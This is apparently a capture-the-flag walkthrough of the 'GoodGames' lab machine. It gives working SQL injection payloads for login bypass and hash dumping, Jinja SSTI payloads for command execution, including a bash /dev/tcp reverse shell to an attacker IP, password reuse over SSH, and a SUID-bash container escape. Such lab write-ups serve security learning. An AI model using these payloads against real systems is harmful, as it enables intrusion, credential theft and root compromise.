Post

GoodGames

GoodGames

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
sudo nmap -PN -sC -sV -oN GoodGames 10.10.11.130
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-31 14:09 PKT
Nmap scan report for 10.10.11.130
Host is up (0.21s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.9.2)
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.98 seconds

It’s a simple website with no point of interest. Let’s enumerate the directories and sub-domains:

Directory Fuzzing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://goodgames.htb/FUZZ -ic -t 80 -fw 2096

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://goodgames.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 2096
________________________________________________

                        [Status: 200, Size: 85107, Words: 29274, Lines: 1735, Duration: 96ms]
blog                    [Status: 200, Size: 44212, Words: 15590, Lines: 909, Duration: 176ms]
profile                 [Status: 200, Size: 9267, Words: 2093, Lines: 267, Duration: 253ms]
login                   [Status: 200, Size: 9294, Words: 2101, Lines: 267, Duration: 308ms]
signup                  [Status: 200, Size: 33387, Words: 11042, Lines: 728, Duration: 97ms]
logout                  [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 83ms]
forgot-password         [Status: 200, Size: 32744, Words: 10608, Lines: 730, Duration: 209ms]
coming-soon             [Status: 200, Size: 10524, Words: 2489, Lines: 287, Duration: 124ms]
                        [Status: 200, Size: 85107, Words: 29274, Lines: 1735, Duration: 215ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 120ms]
:: Progress: [220546/220546] :: Job [1/1] :: 382 req/sec :: Duration: [0:08:44] :: Errors: 0 ::

Sub-domain Fuzzing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.goodgames.htb -t 80

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.goodgames.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 76 req/sec :: Duration: [0:01:01] :: Errors: 4989 ::

Let’s investigate the discovered directories.

  • /signup - Allows for registering a user.
  • /login - Allows for that user to login.

After logging in it redirects us to /profile but nothing of interest their either. It’s time for us to fire up burpsuite and investigate requests.

Investigating Requests

This is the login request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login HTTP/1.1
Host: goodgames.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://goodgames.htb
Connection: keep-alive
Referer: http://goodgames.htb/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email=test%40mail.com&password=test123

SQLi

We will attempt an SQLi. On submitting an SQLi Payload ' or 1=1-- -:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login HTTP/1.1
Host: goodgames.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://goodgames.htb
Connection: keep-alive
Referer: http://goodgames.htb/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email=' or 1=1-- -&password=test123

We get the response:

Welcome admintest123

We can see there are two users at least. admin and test123

We will try a union injection to get data from other table. Let’s figure out the number of columns.

Only after selecting 4 columns do we get a successful login:

email=' union select 1,2,3,4-- -&password=test123

Let’s figure out all the database that exists:

email=' union select 1,2,3,schema_name FROM INFORMATION_SCHEMA.SCHEMATA-- -&password=test123

We get the response:

Welcome information_schemamain

Let’s query main and figure out the tables that exist:

email=' union select 1,2,3,TABLE_NAME from INFORMATION_SCHEMA.TABLES where table_schema='main'-- -&password=test123

Response:

Welcome blogblog_commentsuser

blog, blog_comments, and user.

We can also figure out the number of columns:

email=' union select 1,2,3,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='user'-- -&password=test123

Response:

Welcome emailidnamepassword

email, id, name, password.

Let’s dump user data. Since we have only one reflected column but we want to dump data of multiple columns we will use a seperator and concat it:

email=' union select 1,2,3,CONCAT_WS(':', id, email, name, password) from user-- -&password=test123

Response:

1
2
1:admin@goodgames.htb:admin:2b22337f218b2d82dfc3b6f77e7cb8ec
2:test@mail.com:test123:cc03e747a6afbbcbf8be7668acfebee5

This is an md5 hash and admin hash cracks to:

admin:superadministrator

Now let’s login as admin.

Foothold and Privilege Escalation

There’s a gear on admin top-right profile page. Clicking it redirects us to:

http://internal-administration.goodgames.htb/

Add it to /etc/hosts.

alt text

Let’s try admin creds. They work.

alt text

They all take us nowhere. The only page worth looking at is profile. I can enter a full name and it’s reflected verbatim.

Understanding Tech Stack

1
2
3
whatweb http://internal-administration.goodgames.htb
http://internal-administration.goodgames.htb/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Werkzeug/2.0.2 Python/3.6.7], IP[10.10.11.130], Python[3.6.7], RedirectLocation[http://internal-administration.goodgames.htb/login], Title[Redirecting...], Werkzeug[2.0.2]
http://internal-administration.goodgames.htb/login [200 OK] Bootstrap, Cookies[session], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.6.7], HttpOnly[session], IP[10.10.11.130], Meta-Author[Themesberg], Open-Graph-Protocol[website], PasswordField[password], Python[3.6.7], Script, Title[Flask Volt Dashboard -  Sign IN  | AppSeed][Title element contains newline(s)!], Werkzeug[2.0.2]

It’s the same python backend. Usually in such scenarios where user input is reflected verbatim we can try SSTI.

SSTI

Let’s do a test to identify if SSTI exists or not.

1
2
3
{{7*7}}

alt text

It does exist.

Since this is python it is easy to gather SSTI payload:

1
2
3
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

We got the response:

uid=0(root) gid=0(root) groups=0(root)

We will just get reverse shell as root.

1
2
3
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.16.30/1234 0>&1"').read() }}

and we have reverse shell as root:

1
2
3
4
5
6
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.130] 58834
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# 

We only have the user flag down and it seems like we are inside a docker environment.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@3a453ab39d3d:/backend# ls -la /
ls -la /
total 88
drwxr-xr-x   1 root root 4096 Nov  5  2021 .
drwxr-xr-x   1 root root 4096 Nov  5  2021 ..
-rwxr-xr-x   1 root root    0 Nov  5  2021 .dockerenv
drwxr-xr-x   1 root root 4096 Nov  5  2021 backend
drwxr-xr-x   1 root root 4096 Nov  5  2021 bin
drwxr-xr-x   2 root root 4096 Oct 20  2018 boot
drwxr-xr-x   5 root root  340 Jul 31 08:43 dev
drwxr-xr-x   1 root root 4096 Nov  5  2021 etc
drwxr-xr-x   1 root root 4096 Nov  5  2021 home
drwxr-xr-x   1 root root 4096 Nov 16  2018 lib
drwxr-xr-x   2 root root 4096 Nov 12  2018 lib64
drwxr-xr-x   2 root root 4096 Nov 12  2018 media
drwxr-xr-x   2 root root 4096 Nov 12  2018 mnt
drwxr-xr-x   2 root root 4096 Nov 12  2018 opt
dr-xr-xr-x 174 root root    0 Jul 31 08:43 proc
drwx------   1 root root 4096 Nov  5  2021 root
drwxr-xr-x   3 root root 4096 Nov 12  2018 run
drwxr-xr-x   1 root root 4096 Nov  5  2021 sbin
drwxr-xr-x   2 root root 4096 Nov 12  2018 srv
dr-xr-xr-x  13 root root    0 Jul 31 08:43 sys
drwxrwxrwt   1 root root 4096 Nov  5  2021 tmp
drwxr-xr-x   1 root root 4096 Nov 12  2018 usr
drwxr-xr-x   1 root root 4096 Nov 12  2018 var

Enumeration again

Our current docker host has this IP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@3a453ab39d3d:~# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.19.0.2  netmask 255.255.0.0  broadcast 172.19.255.255
        ether 02:42:ac:13:00:02  txqueuelen 0  (Ethernet)
        RX packets 2558  bytes 458515 (447.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2121  bytes 1954493 (1.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Let’s do a network sweep to figure out other active hosts.

1
2
3
root@3a453ab39d3d:~# seq 1 254 | xargs -n1 -P50 -I{} ping -c1 -W1 172.19.0.{} | grep 'bytes from' | cut -d' ' -f4 | tr -d ':'
172.19.0.1
172.19.0.2

172.19.0.1 should be the main host.

Let’s do a port scan from inside the docker:

1
2
3
root@3a453ab39d3d:~# for port in {1..1024}; do (echo >/dev/tcp/172.19.0.1/$port) >/dev/null 2>&1 && echo "Port $port is open"; done
Port 22 is open
Port 80 is open

Let’s try and use the same password for the user augustus and SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@3a453ab39d3d:~# ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: 
Permission denied, please try again.
augustus@172.19.0.1's password: 
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ 

Time for more enumeration.

What we missed as root in docker environment is:

1
2
3
4
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
1
2
3
4
5
6
7
8
9
10
root@3a453ab39d3d:~# ls -la /home/augustus/
total 1232
drwxr-xr-x 2 1000 1000    4096 Jul 31 10:24 .
drwxr-xr-x 1 root root    4096 Nov  5  2021 ..
lrwxrwxrwx 1 root root       9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000     220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 1000 1000    3526 Oct 19  2021 .bashrc
-rw-r--r-- 1 1000 1000     807 Oct 19  2021 .profile
-rwxr-xr-x 1 1000 1000 1234376 Jul 31 10:24 bash
-rw-r----- 1 root 1000      33 Jul 31 08:44 user.txt

Abusing Permissions

That the user’s home directory is mounted inside the docker container from the main system. We are root inside the docker environment. So if we have anything in the user directory we can change it’s permission to be owned by root and make it so that any user can execute it as root.

Let’s copy /bin/bash as augustus on SSH.

1
2
cp /bin/bash .
exit

Then from docker:

1
2
chown root:root bash
chmod 4755 bash

4755 means:

  • The binary is owned by root (or another user),
  • When any user executes it, it runs with root’s privileges (if owned by root),
  • But users can’t modify the binary (unless they’re root),
  • The s in rws indicates SUID is active.

Now:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
augustus@172.19.0.1's password: 
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 31 11:19:58 2025 from 172.19.0.2
augustus@GoodGames:~$ ls -la
total 1232
drwxr-xr-x 2 augustus augustus    4096 Jul 31 11:24 .
drwxr-xr-x 3 root     root        4096 Oct 19  2021 ..
-rwsr-xr-x 1 root     root     1234376 Jul 31 11:24 bash
lrwxrwxrwx 1 root     root           9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus     220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 augustus augustus    3526 Oct 19  2021 .bashrc
-rw-r--r-- 1 augustus augustus     807 Oct 19  2021 .profile
-rw-r----- 1 root     augustus      33 Jul 31 09:44 user.txt

1
2
3
4
5
augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
bash-5.1# cd /root
bash-5.1# cat root.txt

The -p flag preserves the effective user ID and group ID when running a shell, instead of dropping privileges.


This post is licensed under CC BY 4.0 by the author.